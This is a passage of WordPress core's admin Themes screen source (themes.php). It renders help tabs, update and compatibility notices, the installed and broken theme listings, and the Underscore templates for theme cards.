			__( 'If you would like to see more themes to choose from, click on the &#8220;Add New Theme&#8221; button and you will be able to browse or search for additional themes from the <a href="%s">WordPress Theme Directory</a>. Themes in the WordPress Theme Directory are designed and developed by third parties, and are compatible with the license WordPress uses. Oh, and they&#8217;re free!' ),
			__( 'https://wordpress.org/themes/' )
		) . '</p>';
	}

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'adding-themes',
			'title'   => __( 'Adding Themes' ),
			'content' => $help_install,
		)
	);
} // End if 'install_themes'.

// Help tab: Previewing and Customizing.
if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
	$help_customize =
		'<p>' . __( 'Tap or hover on any theme then click the Live Preview button to see a live preview of that theme and change theme options in a separate, full-screen view. You can also find a Live Preview button at the bottom of the theme details screen. Any installed theme can be previewed and customized in this way.' ) . '</p>' .
		'<p>' . __( 'The theme being previewed is fully interactive &mdash; navigate to different pages to see how the theme handles posts, archives, and other page templates. The settings may differ depending on what theme features the theme being previewed supports. To accept the new settings and activate the theme all in one step, click the Activate &amp; Publish button above the menu.' ) . '</p>' .
		'<p>' . __( 'When previewing on smaller monitors, you can use the collapse icon at the bottom of the left-hand pane. This will hide the pane, giving you more room to preview your site in the new theme. To bring the pane back, click on the collapse icon again.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'customize-preview-themes',
			'title'   => __( 'Previewing and Customizing' ),
			'content' => $help_customize,
		)
	);
} // End if 'edit_theme_options' && 'customize'.

$help_sidebar_autoupdates = '';

// Help tab: Auto-updates.
if ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) {
	$help_tab_autoupdates =
		'<p>' . __( 'Auto-updates can be enabled or disabled for each individual theme. Themes with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system.' ) . '</p>' .
		'<p>' . __( 'Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'plugins-themes-auto-updates',
			'title'   => __( 'Auto-updates' ),
			'content' => $help_tab_autoupdates,
		)
	);

	$help_sidebar_autoupdates = '<p>' . __( '<a href="https://wordpress.org/documentation/article/plugins-themes-auto-updates/">Documentation on Auto-updates</a>' ) . '</p>';
} // End if 'update_themes' && 'wp_is_auto_update_enabled_for_type'.

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/work-with-themes/">Documentation on Using Themes</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/appearance-themes-screen/">Documentation on Managing Themes</a>' ) . '</p>' .
	$help_sidebar_autoupdates .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

if ( current_user_can( 'switch_themes' ) ) {
	$themes = wp_prepare_themes_for_js();
} else {
	$themes = wp_prepare_themes_for_js( array( wp_get_theme() ) );
}
wp_reset_vars( array( 'theme', 'search' ) );

wp_localize_script(
	'theme',
	'_wpThemeSettings',
	array(
		'themes'   => $themes,
		'settings' => array(
			'canInstall'    => ( ! is_multisite() && current_user_can( 'install_themes' ) ),
			'installURI'    => ( ! is_multisite() && current_user_can( 'install_themes' ) ) ? admin_url( 'theme-install.php' ) : null,
			'confirmDelete' => __( "Are you sure you want to delete this theme?\n\nClick 'Cancel' to go back, 'OK' to confirm the delete." ),
			'adminUrl'      => parse_url( admin_url(), PHP_URL_PATH ),
		),
		'l10n'     => array(
			'addNew'            => __( 'Add New Theme' ),
			'search'            => __( 'Search Installed Themes' ),
			'searchPlaceholder' => __( 'Search installed themes...' ), // Placeholder (no ellipsis).
			/* translators: %d: Number of themes. */
			'themesFound'       => __( 'Number of Themes found: %d' ),
			'noThemesFound'     => __( 'No themes found. Try a different search.' ),
		),
	)
);

add_thickbox();
wp_enqueue_script( 'theme' );
wp_enqueue_script( 'updates' );

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
	<h1 class="wp-heading-inline"><?php esc_html_e( 'Themes' ); ?>
		<span class="title-count theme-count"><?php echo ! empty( $_GET['search'] ) ? __( '&hellip;' ) : count( $themes ); ?></span>
	</h1>

	<?php if ( ! is_multisite() && current_user_can( 'install_themes' ) ) : ?>
		<a href="<?php echo esc_url( admin_url( 'theme-install.php' ) ); ?>" class="hide-if-no-js page-title-action"><?php echo esc_html__( 'Add New Theme' ); ?></a>
	<?php endif; ?>

	<form class="search-form"></form>

	<hr class="wp-header-end">
<?php
if ( ! validate_current_theme() || isset( $_GET['broken'] ) ) {
	wp_admin_notice(
		__( 'The active theme is broken. Reverting to the default theme.' ),
		array(
			'id'                 => 'message1',
			'additional_classes' => array( 'updated' ),
			'dismissible'        => true,
		)
	);
} elseif ( isset( $_GET['activated'] ) ) {
	if ( isset( $_GET['previewed'] ) ) {
		wp_admin_notice(
			__( 'Settings saved and theme activated.' ) . ' <a href="' . esc_url( home_url( '/' ) ) . '">' . __( 'Visit site' ) . '</a>',
			array(
				'id'                 => 'message2',
				'additional_classes' => array( 'updated' ),
				'dismissible'        => true,
			)
		);
	} else {
		wp_admin_notice(
			__( 'New theme activated.' ) . ' <a href="' . esc_url( home_url( '/' ) ) . '">' . __( 'Visit site' ) . '</a>',
			array(
				'id'                 => 'message2',
				'additional_classes' => array( 'updated' ),
				'dismissible'        => true,
			)
		);
	}
} elseif ( isset( $_GET['deleted'] ) ) {
	wp_admin_notice(
		__( 'Theme deleted.' ),
		array(
			'id'                 => 'message3',
			'additional_classes' => array( 'updated' ),
			'dismissible'        => true,
		)
	);
} elseif ( isset( $_GET['delete-active-child'] ) ) {
	wp_admin_notice(
		__( 'You cannot delete a theme while it has an active child theme.' ),
		array(
			'id'                 => 'message4',
			'additional_classes' => array( 'error' ),
		)
	);
} elseif ( isset( $_GET['resumed'] ) ) {
	wp_admin_notice(
		__( 'Theme resumed.' ),
		array(
			'id'                 => 'message5',
			'additional_classes' => array( 'updated' ),
			'dismissible'        => true,
		)
	);
} elseif ( isset( $_GET['error'] ) && 'resuming' === $_GET['error'] ) {
	wp_admin_notice(
		__( 'Theme could not be resumed because it triggered a <strong>fatal error</strong>.' ),
		array(
			'id'                 => 'message6',
			'additional_classes' => array( 'error' ),
		)
	);
} elseif ( isset( $_GET['enabled-auto-update'] ) ) {
	wp_admin_notice(
		__( 'Theme will be auto-updated.' ),
		array(
			'id'                 => 'message7',
			'additional_classes' => array( 'updated' ),
			'dismissible'        => true,
		)
	);
} elseif ( isset( $_GET['disabled-auto-update'] ) ) {
	wp_admin_notice(
		__( 'Theme will no longer be auto-updated.' ),
		array(
			'id'                 => 'message8',
			'additional_classes' => array( 'updated' ),
			'dismissible'        => true,
		)
	);
}

$current_theme = wp_get_theme();

if ( $current_theme->errors() && ( ! is_multisite() || current_user_can( 'manage_network_themes' ) ) ) {
	wp_admin_notice(
		__( 'Error:' ) . ' ' . $current_theme->errors()->get_error_message(),
		array(
			'additional_classes' => array( 'error' ),
		)
	);
}

$current_theme_actions = array();

if ( is_array( $submenu ) && isset( $submenu['themes.php'] ) ) {
	$forbidden_paths = array(
		'themes.php',
		'theme-editor.php',
		'site-editor.php',
		'edit.php?post_type=wp_navigation',
	);

	foreach ( (array) $submenu['themes.php'] as $item ) {
		$class = '';

		if ( in_array( $item[2], $forbidden_paths, true ) || str_starts_with( $item[2], 'customize.php' ) ) {
			continue;
		}

		// 0 = name, 1 = capability, 2 = file.
		if ( 0 === strcmp( $self, $item[2] ) && empty( $parent_file )
			|| $parent_file && $item[2] === $parent_file
		) {
			$class = ' current';
		}

		if ( ! empty( $submenu[ $item[2] ] ) ) {
			$submenu[ $item[2] ] = array_values( $submenu[ $item[2] ] ); // Re-index.
			$menu_hook           = get_plugin_page_hook( $submenu[ $item[2] ][0][2], $item[2] );

			if ( file_exists( WP_PLUGIN_DIR . "/{$submenu[$item[2]][0][2]}" ) || ! empty( $menu_hook ) ) {
				$current_theme_actions[] = "<a class='button$class' href='admin.php?page={$submenu[$item[2]][0][2]}'>{$item[0]}</a>";
			} else {
				$current_theme_actions[] = "<a class='button$class' href='{$submenu[$item[2]][0][2]}'>{$item[0]}</a>";
			}
		} elseif ( ! empty( $item[2] ) && current_user_can( $item[1] ) ) {
			$menu_file = $item[2];

			if ( current_user_can( 'customize' ) ) {
				if ( 'custom-header' === $menu_file ) {
					$current_theme_actions[] = "<a class='button hide-if-no-customize$class' href='customize.php?autofocus[control]=header_image'>{$item[0]}</a>";
				} elseif ( 'custom-background' === $menu_file ) {
					$current_theme_actions[] = "<a class='button hide-if-no-customize$class' href='customize.php?autofocus[control]=background_image'>{$item[0]}</a>";
				}
			}

			$pos = strpos( $menu_file, '?' );
			if ( false !== $pos ) {
				$menu_file = substr( $menu_file, 0, $pos );
			}

			if ( file_exists( ABSPATH . "wp-admin/$menu_file" ) ) {
				$current_theme_actions[] = "<a class='button$class' href='{$item[2]}'>{$item[0]}</a>";
			} else {
				$current_theme_actions[] = "<a class='button$class' href='themes.php?page={$item[2]}'>{$item[0]}</a>";
			}
		}
	}
}

$class_name = 'theme-browser';
if ( ! empty( $_GET['search'] ) ) {
	$class_name .= ' search-loading';
}
?>
<div class="<?php echo esc_attr( $class_name ); ?>">
	<div class="themes wp-clearfix">

<?php
/*
 * This PHP is synchronized with the tmpl-theme template below!
 */

foreach ( $themes as $theme ) :
	$aria_action = $theme['id'] . '-action';
	$aria_name   = $theme['id'] . '-name';

	$active_class = '';
	if ( $theme['active'] ) {
		$active_class = ' active';
	}
	?>
<div class="theme<?php echo $active_class; ?>">
	<?php if ( ! empty( $theme['screenshot'][0] ) ) { ?>
		<div class="theme-screenshot">
			<img src="<?php echo esc_url( $theme['screenshot'][0] . '?ver=' . $theme['version'] ); ?>" alt="" />
		</div>
	<?php } else { ?>
		<div class="theme-screenshot blank"></div>
	<?php } ?>

	<?php if ( $theme['hasUpdate'] ) : ?>
		<?php
		if ( $theme['updateResponse']['compatibleWP'] && $theme['updateResponse']['compatiblePHP'] ) :
			if ( $theme['hasPackage'] ) {
				$new_version_available = __( 'New version available. <button class="button-link" type="button">Update now</button>' );
			} else {
				$new_version_available = __( 'New version available.' );
			}
			wp_admin_notice(
				$new_version_available,
				array(
					'type'               => 'warning',
					'additional_classes' => array( 'notice-alt', 'inline', 'update-message' ),
				)
			);
		else :
			$theme_update_error = '';
			if ( ! $theme['updateResponse']['compatibleWP'] && ! $theme['updateResponse']['compatiblePHP'] ) {
				$theme_update_error .= sprintf(
					/* translators: %s: Theme name. */
					__( 'There is a new version of %s available, but it does not work with your versions of WordPress and PHP.' ),
					$theme['name']
				);
				if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
					$theme_update_error .= sprintf(
						/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
						' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
						self_admin_url( 'update-core.php' ),
						esc_url( wp_get_update_php_url() )
					);
					wp_update_php_annotation( '</p><p><em>', '</em>', false );
				} elseif ( current_user_can( 'update_core' ) ) {
					$theme_update_error .= sprintf(
						/* translators: %s: URL to WordPress Updates screen. */
						' ' . __( '<a href="%s">Please update WordPress</a>.' ),
						self_admin_url( 'update-core.php' )
					);
				} elseif ( current_user_can( 'update_php' ) ) {
					$theme_update_error .= sprintf(
						/* translators: %s: URL to Update PHP page. */
						' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
						esc_url( wp_get_update_php_url() )
					);
					wp_update_php_annotation( '</p><p><em>', '</em>', false );
				}
			} elseif ( ! $theme['updateResponse']['compatibleWP'] ) {
				$theme_update_error .= sprintf(
					/* translators: %s: Theme name. */
					__( 'There is a new version of %s available, but it does not work with your version of WordPress.' ),
					$theme['name']
				);
				if ( current_user_can( 'update_core' ) ) {
					$theme_update_error .= sprintf(
						/* translators: %s: URL to WordPress Updates screen. */
						' ' . __( '<a href="%s">Please update WordPress</a>.' ),
						self_admin_url( 'update-core.php' )
					);
				}
			} elseif ( ! $theme['updateResponse']['compatiblePHP'] ) {
				$theme_update_error .= sprintf(
					/* translators: %s: Theme name. */
					__( 'There is a new version of %s available, but it does not work with your version of PHP.' ),
					$theme['name']
				);
				if ( current_user_can( 'update_php' ) ) {
					$theme_update_error .= sprintf(
						/* translators: %s: URL to Update PHP page. */
						' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
						esc_url( wp_get_update_php_url() )
					);
					wp_update_php_annotation( '</p><p><em>', '</em>', false );
				}
			}
			wp_admin_notice(
				$theme_update_error,
				array(
					'type'               => 'error',
					'additional_classes' => array( 'notice-alt', 'inline', 'update-message' ),
				)
			);
		endif;
	endif;

	if ( ! $theme['compatibleWP'] || ! $theme['compatiblePHP'] ) {
		$message = '';
		if ( ! $theme['compatibleWP'] && ! $theme['compatiblePHP'] ) {
			$message = __( 'This theme does not work with your versions of WordPress and PHP.' );
			if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
				$message .= sprintf(
					/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
					' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
					self_admin_url( 'update-core.php' ),
					esc_url( wp_get_update_php_url() )
				);
				$message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
			} elseif ( current_user_can( 'update_core' ) ) {
				$message .= sprintf(
					/* translators: %s: URL to WordPress Updates screen. */
					' ' . __( '<a href="%s">Please update WordPress</a>.' ),
					self_admin_url( 'update-core.php' )
				);
			} elseif ( current_user_can( 'update_php' ) ) {
				$message .= sprintf(
					/* translators: %s: URL to Update PHP page. */
					' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
					esc_url( wp_get_update_php_url() )
				);
				$message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
			}
		} elseif ( ! $theme['compatibleWP'] ) {
			$message .= __( 'This theme does not work with your version of WordPress.' );
			if ( current_user_can( 'update_core' ) ) {
				$message .= sprintf(
					/* translators: %s: URL to WordPress Updates screen. */
					' ' . __( '<a href="%s">Please update WordPress</a>.' ),
					self_admin_url( 'update-core.php' )
				);
			}
		} elseif ( ! $theme['compatiblePHP'] ) {
			$message .= __( 'This theme does not work with your version of PHP.' );
			if ( current_user_can( 'update_php' ) ) {
				$message .= sprintf(
					/* translators: %s: URL to Update PHP page. */
					' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
					esc_url( wp_get_update_php_url() )
				);
				$message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
			}
		}

		wp_admin_notice(
			$message,
			array(
				'type'               => 'error',
				'additional_classes' => array( 'inline', 'notice-alt' ),
			)
		);
	}

	/* translators: %s: Theme name. */
	$details_aria_label = sprintf( _x( 'View Theme Details for %s', 'theme' ), $theme['name'] );
	?>
	<button type="button" aria-label="<?php echo esc_attr( $details_aria_label ); ?>" class="more-details" id="<?php echo esc_attr( $aria_action ); ?>"><?php _e( 'Theme Details' ); ?></button>
	<div class="theme-author">
		<?php
		/* translators: %s: Theme author name. */
		printf( __( 'By %s' ), $theme['author'] );
		?>
	</div>

	<div class="theme-id-container">
		<?php if ( $theme['active'] ) { ?>
			<h2 class="theme-name" id="<?php echo esc_attr( $aria_name ); ?>">
				<span><?php _ex( 'Active:', 'theme' ); ?></span> <?php echo $theme['name']; ?>
			</h2>
		<?php } else { ?>
			<h2 class="theme-name" id="<?php echo esc_attr( $aria_name ); ?>"><?php echo $theme['name']; ?></h2>
		<?php } ?>

		<div class="theme-actions">
		<?php if ( $theme['active'] ) { ?>
			<?php
			if ( $theme['actions']['customize'] && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
				/* translators: %s: Theme name. */
				$customize_aria_label = sprintf( _x( 'Customize %s', 'theme' ), $theme['name'] );
				?>
				<a aria-label="<?php echo esc_attr( $customize_aria_label ); ?>" class="button button-primary customize load-customize hide-if-no-customize" href="<?php echo $theme['actions']['customize']; ?>"><?php _e( 'Customize' ); ?></a>
			<?php } ?>
		<?php } elseif ( $theme['compatibleWP'] && $theme['compatiblePHP'] ) { ?>
			<?php
			/* translators: %s: Theme name. */
			$aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' );
			?>
			<a class="button activate" href="<?php echo $theme['actions']['activate']; ?>" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Activate' ); ?></a>
			<?php
			// Only classic themes require the "customize" capability.
			if ( current_user_can( 'edit_theme_options' ) && ( $theme['blockTheme'] || current_user_can( 'customize' ) ) ) {
				/* translators: %s: Theme name. */
				$live_preview_aria_label = sprintf( _x( 'Live Preview %s', 'theme' ), '{{ data.name }}' );
				?>
				<a aria-label="<?php echo esc_attr( $live_preview_aria_label ); ?>" class="button button-primary load-customize hide-if-no-customize" href="<?php echo $theme['actions']['customize']; ?>"><?php _e( 'Live Preview' ); ?></a>
			<?php } ?>
		<?php } else { ?>
			<?php
			/* translators: %s: Theme name. */
			$aria_label = sprintf( _x( 'Cannot Activate %s', 'theme' ), '{{ data.name }}' );
			?>
			<a class="button disabled" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _ex( 'Cannot Activate', 'theme' ); ?></a>
			<?php if ( ! $theme['blockTheme'] && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) { ?>
				<a class="button button-primary hide-if-no-customize disabled"><?php _e( 'Live Preview' ); ?></a>
			<?php } ?>
		<?php } ?>

		</div>
	</div>
</div>
<?php endforeach; ?>
	</div>
</div>
<div class="theme-overlay" tabindex="0" role="dialog" aria-label="<?php esc_attr_e( 'Theme Details' ); ?>"></div>

<p class="no-themes"><?php _e( 'No themes found. Try a different search.' ); ?></p>

<?php
// List broken themes, if any.
$broken_themes = wp_get_themes( array( 'errors' => true ) );
if ( ! is_multisite() && $broken_themes ) {
	?>

<div class="broken-themes">
<h3><?php _e( 'Broken Themes' ); ?></h3>
<p><?php _e( 'The following themes are installed but incomplete.' ); ?></p>

	<?php
	$can_resume  = current_user_can( 'resume_themes' );
	$can_delete  = current_user_can( 'delete_themes' );
	$can_install = current_user_can( 'install_themes' );
	?>
<table>
	<tr>
		<th><?php _ex( 'Name', 'theme name' ); ?></th>
		<th><?php _e( 'Description' ); ?></th>
		<?php if ( $can_resume ) { ?>
			<td></td>
		<?php } ?>
		<?php if ( $can_delete ) { ?>
			<td></td>
		<?php } ?>
		<?php if ( $can_install ) { ?>
			<td></td>
		<?php } ?>
	</tr>
	<?php
	foreach ( $broken_themes as $broken_theme ) :
		?>
		<tr>
			<td><?php echo $broken_theme->get( 'Name' ) ? $broken_theme->display( 'Name' ) : esc_html( $broken_theme->get_stylesheet() ); ?></td>
			<td><?php echo $broken_theme->errors()->get_error_message(); ?></td>
			<?php
			if ( $can_resume ) {
				if ( 'theme_paused' === $broken_theme->errors()->get_error_code() ) {
					$stylesheet = $broken_theme->get_stylesheet();
					$resume_url = add_query_arg(
						array(
							'action'     => 'resume',
							'stylesheet' => urlencode( $stylesheet ),
						),
						admin_url( 'themes.php' )
					);
					$resume_url = wp_nonce_url( $resume_url, 'resume-theme_' . $stylesheet );
					?>
					<td><a href="<?php echo esc_url( $resume_url ); ?>" class="button resume-theme"><?php _e( 'Resume' ); ?></a></td>
					<?php
				} else {
					?>
					<td></td>
					<?php
				}
			}

			if ( $can_delete ) {
				$stylesheet = $broken_theme->get_stylesheet();
				$delete_url = add_query_arg(
					array(
						'action'     => 'delete',
						'stylesheet' => urlencode( $stylesheet ),
					),
					admin_url( 'themes.php' )
				);
				$delete_url = wp_nonce_url( $delete_url, 'delete-theme_' . $stylesheet );
				?>
				<td><a href="<?php echo esc_url( $delete_url ); ?>" class="button delete-theme"><?php _e( 'Delete' ); ?></a></td>
				<?php
			}

			if ( $can_install && 'theme_no_parent' === $broken_theme->errors()->get_error_code() ) {
				$parent_theme_name = $broken_theme->get( 'Template' );
				$parent_theme      = themes_api( 'theme_information', array( 'slug' => urlencode( $parent_theme_name ) ) );

				if ( ! is_wp_error( $parent_theme ) ) {
					$install_url = add_query_arg(
						array(
							'action' => 'install-theme',
							'theme'  => urlencode( $parent_theme_name ),
						),
						admin_url( 'update.php' )
					);
					$install_url = wp_nonce_url( $install_url, 'install-theme_' . $parent_theme_name );
					?>
					<td><a href="<?php echo esc_url( $install_url ); ?>" class="button install-theme"><?php _e( 'Install Parent Theme' ); ?></a></td>
					<?php
				}
			}
			?>
		</tr>
		<?php
	endforeach;
	?>
</table>
</div>

	<?php
}
?>
</div><!-- .wrap -->

<?php

/**
 * Returns the JavaScript template used to display the auto-update setting for a theme.
 *
 * @since 5.5.0
 *
 * @return string The template for displaying the auto-update setting link.
 */
function wp_theme_auto_update_setting_template() {
	$notice   = wp_get_admin_notice(
		'',
		array(
			'type'               => 'error',
			'additional_classes' => array( 'notice-alt', 'inline', 'hidden' ),
		)
	);
	$template = '
		<div class="theme-autoupdate">
			<# if ( data.autoupdate.supported ) { #>
				<# if ( data.autoupdate.forced === false ) { #>
					' . __( 'Auto-updates disabled' ) . '
				<# } else if ( data.autoupdate.forced ) { #>
					' . __( 'Auto-updates enabled' ) . '
				<# } else if ( data.autoupdate.enabled ) { #>
					<button type="button" class="toggle-auto-update button-link" data-slug="{{ data.id }}" data-wp-action="disable">
						<span class="dashicons dashicons-update spin hidden" aria-hidden="true"></span><span class="label">' . __( 'Disable auto-updates' ) . '</span>
					</button>
				<# } else { #>
					<button type="button" class="toggle-auto-update button-link" data-slug="{{ data.id }}" data-wp-action="enable">
						<span class="dashicons dashicons-update spin hidden" aria-hidden="true"></span><span class="label">' . __( 'Enable auto-updates' ) . '</span>
					</button>
				<# } #>
			<# } #>
			<# if ( data.hasUpdate ) { #>
				<# if ( data.autoupdate.supported && data.autoupdate.enabled ) { #>
					<span class="auto-update-time">
				<# } else { #>
					<span class="auto-update-time hidden">
				<# } #>
				<br />' . wp_get_auto_update_message() . '</span>
			<# } #>
			' . $notice . '
		</div>
	';

	/**
	 * Filters the JavaScript template used to display the auto-update setting for a theme (in the overlay).
	 *
	 * See {@see wp_prepare_themes_for_js()} for the properties of the `data` object.
	 *
	 * @since 5.5.0
	 *
	 * @param string $template The template for displaying the auto-update setting link.
	 */
	return apply_filters( 'theme_auto_update_setting_template', $template );
}

/*
 * The tmpl-theme template is synchronized with PHP above!
 */
?>
<script id="tmpl-theme" type="text/template">
	<# if ( data.screenshot[0] ) { #>
		<div class="theme-screenshot">
			<img src="{{ data.screenshot[0] }}?ver={{ data.version }}" alt="" />
		</div>
	<# } else { #>
		<div class="theme-screenshot blank"></div>
	<# } #>

	<# if ( data.hasUpdate ) { #>
		<# if ( data.updateResponse.compatibleWP && data.updateResponse.compatiblePHP ) { #>
			<div class="update-message notice inline notice-warning notice-alt"><p>
				<# if ( data.hasPackage ) { #>
					<?php _e( 'New version available. <button class="button-link" type="button">Update now</button>' ); ?>
				<# } else { #>
					<?php _e( 'New version available.' ); ?>
				<# } #>
			</p></div>
		<# } else { #>
			<div class="update-message notice inline notice-error notice-alt"><p>
				<# if ( ! data.updateResponse.compatibleWP && ! data.updateResponse.compatiblePHP ) { #>
					<?php
					printf(
						/* translators: %s: Theme name. */
						__( 'There is a new version of %s available, but it does not work with your versions of WordPress and PHP.' ),
						'{{{ data.name }}}'
					);
					if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
						printf(
							/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
							' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
							self_admin_url( 'update-core.php' ),
							esc_url( wp_get_update_php_url() )
						);
						wp_update_php_annotation( '</p><p><em>', '</em>' );
					} elseif ( current_user_can( 'update_core' ) ) {
						printf(
							/* translators: %s: URL to WordPress Updates screen. */
							' ' . __( '<a href="%s">Please update WordPress</a>.' ),
							self_admin_url( 'update-core.php' )
						);
					} elseif ( current_user_can( 'update_php' ) ) {
						printf(
							/* translators: %s: URL to Update PHP page. */
							' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
							esc_url( wp_get_update_php_url() )
						);
						wp_update_php_annotation( '</p><p><em>', '</em>' );
					}
					?>
				<# } else if ( ! data.updateResponse.compatibleWP ) { #>
					<?php
					printf(
						/* translators: %s: Theme name. */
						__( 'There is a new version of %s available, but it does not work with your version of WordPress.' ),
						'{{{ data.name }}}'
					);
					if ( current_user_can( 'update_core' ) ) {
						printf(
							/* translators: %s: URL to WordPress Updates screen. */
							' ' . __( '<a href="%s">Please update WordPress</a>.' ),
							self_admin_url( 'update-core.php' )
						);
					}
					?>
				<# } else if ( ! data.updateResponse.compatiblePHP ) { #>
					<?php
					printf(
						/* translators: %s: Theme name. */
						__( 'There is a new version of %s available, but it does not work with your version of PHP.' ),
						'{{{ data.name }}}'
					);
					if ( current_user_can( 'update_php' ) ) {
						printf(
							/* translators: %s: URL to Update PHP page. */
							' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
							esc_url( wp_get_update_php_url() )
						);
						wp_update_php_annotation( '</p><p><em>', '</em>' );
					}
					?>
				<# } #>
			</p></div>
		<# } #>
	<# } #>

	<# if ( ! data.compatibleWP || ! data.compatiblePHP ) { #>
		<div class="notice notice-error notice-alt"><p>
			<# if ( ! data.compatibleWP && ! data.compatiblePHP ) { #>
				<?php
				_e( 'This theme does not work with your versions of WordPress and PHP.' );
				if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
					printf(
						/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
						' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
						self_admin_url( 'update-core.php' ),
						esc_url( wp_get_update_php_url() )
					);
					wp_update_php_annotation( '</p><p><em>', '</em>' );
				} elseif ( current_user_can( 'update_core' ) ) {
					printf(
						/* translators: %s: URL to WordPress Updates screen. */
						' ' . __( '<a href="%s">Please update WordPress</a>.' ),
						self_admin_url( 'update-core.php' )
					);
				} elseif ( current_user_can( 'update_php' ) ) {
					printf(
						/* translators: %s: URL to Update PHP page. */
						' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
						esc_url( wp_get_update_php_url() )
					);
					wp_update_php_annotation( '</p><p><em>', '</em>' );
				}
				?>
			<# } else if ( ! data.compatibleWP ) { #>
				<?php
				_e( 'This theme does not work with your version of WordPress.' );
				if ( current_user_can( 'update_core' ) ) {
					printf(
						/* translators: %s: URL to WordPress Updates screen. */
						' ' . __( '<a href="%s">Please update WordPress</a>.' ),
						self_admin_url( 'update-core.php' )
					);
				}
				?>
			<# } else if ( ! data.compatiblePHP ) { #>
				<?php
				_e( 'This theme does not work with your version of PHP.' );
				if ( current_user_can( 'update_php' ) ) {
					printf(
						/* translators: %s: URL to Update PHP page. */
						' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
						esc_url( wp_get_update_php_url() )
					);
					wp_update_php_annotation( '</p><p><em>', '</em>' );
				}
				?>
			<# } #>
		</p></div>
	<# } #>

	<?php
	/* translators: %s: Theme name. */
	$details_aria_label = sprintf( _x( 'View Theme Details for %s', 'theme' ), '{{ data.name }}' );
	?>
	<button type="button" aria-label="<?php echo esc_attr( $details_aria_label ); ?>" class="more-details" id="{{ data.id }}-action"><?php _e( 'Theme Details' ); ?></button>
	<div class="theme-author">
		<?php
		/* translators: %s: Theme author name. */
		printf( __( 'By %s' ), '{{{ data.author }}}' );
		?>
	</div>

	<div class="theme-id-container">
		<# if ( data.active ) { #>
			<h2 class="theme-name" id="{{ data.id }}-name">
				<span><?php _ex( 'Active:', 'theme' ); ?></span> {{{ data.name }}}
			</h2>
		<# } else { #>
			<h2 class="theme-name" id="{{ data.id }}-name">{{{ data.name }}}</h2>
		<# } #>

		<div class="theme-actions">
			<# if ( data.active ) { #>
				<# if ( data.actions.customize ) { #>
					<?php
					/* translators: %s: Theme name. */
					$customize_aria_label = sprintf( _x( 'Customize %s', 'theme' ), '{{ data.name }}' );
					?>
					<a aria-label="<?php echo esc_attr( $customize_aria_label ); ?>" class="button button-primary customize load-customize hide-if-no-customize" href="{{{ data.actions.customize }}}"><?php _e( 'Customize' ); ?></a>
				<# } #>
			<# } else { #>
				<# if ( data.compatibleWP && data.compatiblePHP ) { #>
					<?php
					/* translators: %s: Theme name. */
					$aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' );
					?>
					<a class="button activate" href="{{{ data.actions.activate }}}" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Activate' ); ?></a>
					<?php
					/* translators: %s: Theme name. */
					$live_preview_aria_label = sprintf( _x( 'Live Preview %s', 'theme' ), '{{ data.name }}' );
					?>
					<a aria-label="<?php echo esc_attr( $live_preview_aria_label ); ?>" class="button button-primary load-customize hide-if-no-customize" href="{{{ data.actions.customize }}}"><?php _e( 'Live Preview' ); ?></a>
				<# } else { #>
					<?php
					/* translators: %s: Theme name. */
					$aria_label = sprintf( _x( 'Cannot Activate %s', 'theme' ), '{{ data.name }}' );
					?>
					<a class="button disabled" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _ex( 'Cannot Activate', 'theme' ); ?></a>
					<# if ( ! data.blockTheme ) { #>
						<a class="button button-primary hide-if-no-customize disabled"><?php _e( 'Live Preview' ); ?></a>
					<# } #>
				<# } #>
			<# } #>
		</div>
	</div>
</script>

<script id="tmpl-theme-single" type="text/template">
	<div class="theme-backdrop"></div>
	<div class="theme-wrap wp-clearfix" role="document">
		<div class="theme-header">
			<button class="left dashicons dashicons-no"><span class="screen-reader-text">
				<?php
